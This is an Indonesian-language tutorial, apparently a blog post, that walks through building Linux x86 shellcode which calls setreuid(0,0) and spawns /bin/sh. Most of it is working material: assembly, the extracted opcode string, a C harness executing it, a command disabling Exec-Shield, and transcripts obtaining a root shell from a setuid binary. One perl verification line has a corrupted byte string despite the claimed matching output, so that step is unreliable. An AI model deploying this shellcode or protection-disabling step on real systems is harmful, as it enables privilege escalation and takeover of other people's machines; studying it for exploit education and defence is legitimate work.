Ada yang menarik dari program kecil di atas, yaitu pada variabel str yang berisi string ABCHIJK plus karakter berkode ASCII 0xc3. Pada baris ke-4, variabel str digunakan sebagai argument untuk fungsi printf(), dalam hal ini berarti str dianggap sebagai data. Sedangkan pada baris ke-5, str dipanggil seperti halnya fungsi, dalam hal ini str dianggap sebagai code. Perhatikan bahwa str sejatinya adalah bertipe pointer to char, namun bisa dipanggil seperti fungsi karena telah dicasting ke pointer to function dengan (void (*)(void)).
Dalam contoh di atas kita mengeksekusi code yang ada di variabel str, berarti kita mengeksekusi code yang berada di area data (bukan area code). Kernel sekarang banyak yang menerapkan proteksi sehingga kita tidak bisa mengeksekusi code yang tidak berada di area memori yang khusus untuk code. Dalam lingkungan windows, dikenal sebagai Data Execution Prevention, dan di Linux juga ada dikenal sebagai Exec-Shield.
Agar contoh dalam artikel ini bisa bekerja, anda harus mematikan Exec-Shield :
echo “0″ > /proc/sys/kernel/exec-shield
Perhatikan gambar di bawah ini. Gambar tersebut adalah hasil disassemble dengan gdb. Terlihat bahwa str terletak di lokasi 0×8049590. Pada <main+24> ada instruksi CALL yang merupakan pemanggilan fungsi printf() dengan str (0×8049590) sebagai argumen fungsi. Dalam hal ini berarti str dianggap sebagai data bertipe string. Namun pada <main+34> ada instruksi CALL ke lokasi str, hal ini berarti program akan lompat (jump) ke lokasi str dan mengeksekusi instruksi yang ada di lokasi str. Dalam hal ini berarti str dianggap sebagai code. Perhatikan pula bahwa pada str saya menambahkan \xc3 di akhir str karena \xc3 adalah opcode instruksi RET sehingga program akan kembali ke fungsi main dan melanjutkan fungsi main sampai selesai.
strascodeanddata
Mulai Membuat Shellcode
Sebenarnya isi variable str pada program di atas adalah shellcode, jadi sebenarnya kita sudah berhasil membuat shellcode pertama. Selamat! :) Namun shellcode yang kita buat tersebut tidak melakukan sesuatu yang berarti karena isinya hanya INC dan DEC kemudian RET. Namun dari contoh tersebut setidaknya kita sudah memahami bahwa shellcode tidak lain hanyalah string, yaitu kumpulan karakter yang juga merupakan opcode instruksi bahasa mesin.
Sekarang kita akan mulai membuat shellcode yang benar-benar spawn sebuah shell. Dalam artikel sebelumnya mengenai belajar assembly saya sudah menjelaskan cara memanggil system call dengan interrupt 80 hexa. Shellcode yang akan kita buat berisi instruksi untuk memanggil system call. Perhatikan source bahasa C di bawah ini yang jika dieksekusi akan spawn shell.
1
2
3
4
5
6
7
#include <sys/types.h>
#include <unistd.h>
int main(void) {
        char* args[] = {"/bin/sh",NULL};
        setreuid(0,0);
        execve("/bin/sh",args,NULL);
}
Program di atas hanya memanggil system call setreuid() dan execve(). Shellcode yang akan kita buat juga akan melakukan hal yang sama seperti source di atas, bedanya hanya dibuat dalam assembly.
System Call setreuid()
setreuid() digunakan untuk mengeset userID real dan efektif. System call ini sangat penting sebab program yang memiliki SUID bit, biasanya men-drop root privilege bila sudah tidak dibutuhkan lagi. Oleh karena itu kita harus mengembalikan privilege itu sebelum spawn shell. Deklarasi system call setreuid() adalah:
int setreuid(uid_t ruid, uid_t euid);
ruid = real user id
euid = effective user id
Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:
  • EAX: 0×46 atau 70 (Nomor system call dari file unistd.h)
  • EBX: 0×0 (Parameter pertama, real uid yaitu 0)
  • ECX: 0×0 (Parameter kedua, effective uid yaitu 0)
Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0).
1
2
3
4
5
6
; setreuid(0,0)
xor eax,eax
mov al,0x46 ; EAX = 0x46
xor ebx,ebx  ; EBX = 0
xor ecx,ecx  ; ECX = 0
int 0x80
System Call execve()
Execve adalah system call untuk mengeksekusi suatu executable. Semua data, variable, heap, stack dsb milik proses yang memanggil execve akan hilang dan digantikan dengan program yang baru dieksekusi. Namun processID, dan open file handle (termasuk stdout,stdin,stderr) diwariskan ke program yang baru dieksekusi. Deklarasi system call execve adalah seperti di bawah ini:
int execve(const char *filename, char *const argv[],char *const envp[]);
Ada 3 argumen yang diperlukan, namun kita hanya akan memakai 2 argumen. Argumen envp kita isi dengan NULL karena kita tidak membutuhkan variabel environment. Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum memanggil interrupt adalah:
  • EAX: 0xb atau 11 (nomor system call)
  • EBX: alamat string “/bin/sh”
  • ECX: alamat array of string, {“/bin/sh”,NULL}
  • EDX: 0 karena envp diisi NULL.
Potongan assembly di bawah ini memanggil system call execve untuk mengeksekusi /bin/sh.
1
2
3
4
5
6
7
8
9
10
11
12
; execve("/bin/sh",{"/bin/sh",0x0},0x0)
xor eax,eax
push eax ; push 0x0
push 0x68732f2f ; push "//sh"
push 0x6e69622f ; push "/bin"
mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
push eax ; push 0x0
push ebx ; push "/bin//sh\x0"
mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
xor edx,edx ; EDX = 0
mov al, 0xb ; EAX = 0xb
int 0x80
stackfilename
EBX harus diisi dengan address string berisi nama file executable yang akan dieksekusi. Kita gunakan stack untuk membuat string “/bin//sh” seperti pada gambar di atas. Dengan cara ini kita akan mendapatkan address string executable filename pada register ESP. Isi ESP ini kemudian disalin ke register EBX. Mungkin ada yang mengira ada kesalahan ketik dalam string tersebut, karena ada double slash sebelum “sh”. Ini bukan kesalahan ketik, namun sengaja agar pada saat push tepat mempush 4 byte (“//sh”), dan kelebihan satu slash tidak jadi masalah.
stackfilename
ECX harus diisi dengan array of string {“/bin//sh”,NULL}. Sekali lagi kita juga memakai stack dan register EBX yang sebelumnya sudah berisi address string “/bin//sh”. Pada gambar di atas pertama kita harus mempush NULL (0×0) ke dalam stack sebagai elemen array index ke-1, kemudian diikuti dengan mempush address string “/bin//sh” dari EBX sebagai elemen array index ke-0. Dengan cara ini ESP akan berisi address array of string {“/bin//sh”,NULL}. Nilai ESP inilah yang disalin ke register ECX.
Shellcode dalam Assembly
Mari kita gabungkan potongan-potongan assembly di atas untuk membentuk shellcode yang utuh seperti pada source code assembly di bawah ini.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
section .text
global _start
 
_start:
; setreuid(0,0)
xor eax,eax
mov al,0x46 ; EAX = 0x46
xor ebx,ebx  ; EBX = 0
xor ecx,ecx  ; ECX = 0
int 0x80
 
; execve("/bin/sh",{"/bin/sh",0x0},0x0)
xor eax,eax
push eax ; push 0x0
push 0x68732f2f ; push "//sh"
push 0x6e69622f ; push "/bin"
mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
push eax ; push 0x0
push ebx ; push "/bin//sh\x0"
mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
xor edx,edx ; EDX = 0
mov al, 0xb ; EAX = 0xb
int 0x80
Mari kita compile dan link source assembly di atas.
1
2
3
4
5
6
7
8
9
10
$ nasm -f elf basicshellcode.asm
$ ld -o basicshellcode basicshellcode.o
$ sudo chown root:root basicshellcode;sudo chmod 4755 basicshellcode
Password:
$ ls -l basicshellcode
-rwsr-xr-x 1 root root 623 Dec  3 14:52 basicshellcode
$ ./basicshellcode
sh-3.2# whoami
root
sh-3.2# exit
Converting OBJDUMP Output to Shellcode
Hore berhasil! Sekarang tahap finishing, yaitu mengambil opcode dari program di atas. Kita gunakan objdump untuk ini.
$ objdump -M intel -d -j .text ./basicshellcode
 
./basicshellcode:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       b0 46                   mov    al,0x46
 8048064:       31 db                   xor    ebx,ebx
 8048066:       31 c9                   xor    ecx,ecx
 8048068:       cd 80                   int    0x80
 804806a:       31 c0                   xor    eax,eax
 804806c:       50                      push   eax
 804806d:       68 2f 2f 73 68          push   0x68732f2f
 8048072:       68 2f 62 69 6e          push   0x6e69622f
 8048077:       89 e3                   mov    ebx,esp
 8048079:       50                      push   eax
 804807a:       53                      push   ebx
 804807b:       89 e1                   mov    ecx,esp
 804807d:       31 d2                   xor    edx,edx
 804807f:       b0 0b                   mov    al,0xb
 8048081:       cd 80                   int    0x80
Dari output objdump di atas, kita hanya perlu mengambil opcode dalam kolom yang ditengah kemudian menggandengnya menjadi sebuah string. Untuk memudahkan mengambil opcode saya membuat script satu baris berikut:
$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
Mari kita verifikasi sekali lagi dengan perl dan ndisasm.
$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  31C0              xor eax,eax
0000000C  50                push eax
0000000D  682F2F7368        push dword 0x68732f2f
00000012  682F62696E        push dword 0x6e69622f
00000017  89E3              mov ebx,esp
00000019  50                push eax
0000001A  53                push ebx
0000001B  89E1              mov ecx,esp
0000001D  31D2              xor edx,edx
0000001F  B00B              mov al,0xb
00000021  CD80              int 0x80
Hasilnya sama, berarti shellcode tersebut benar. Sekarang kita lanjutkan dengan mengeksekusi shellcode tersebut dengan program C di bawah ini:
1
2
3
4
5
6
7
char shellcode[] =
        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
        "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
int main() {
        ((void (*)(void))shellcode)(); // shellcode()
}
$ gcc shellcode4.c -o shellcode4
$ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4
Password:
$ ls -l ./shellcode4
-rwsr-xr-x 1 root root 4748 Dec  3 16:25 ./shellcode4
$ ./shellcode4
sh-3.2# whoami
root
sh-3.2# exit
Oke, selamat kita telah berhasil membuat shellcode yang menghasilkan shell di local. Pada bagian ke-2, saya akan menjelaskan pembuatan shellcode untuk remote exploit.
 
blogger templates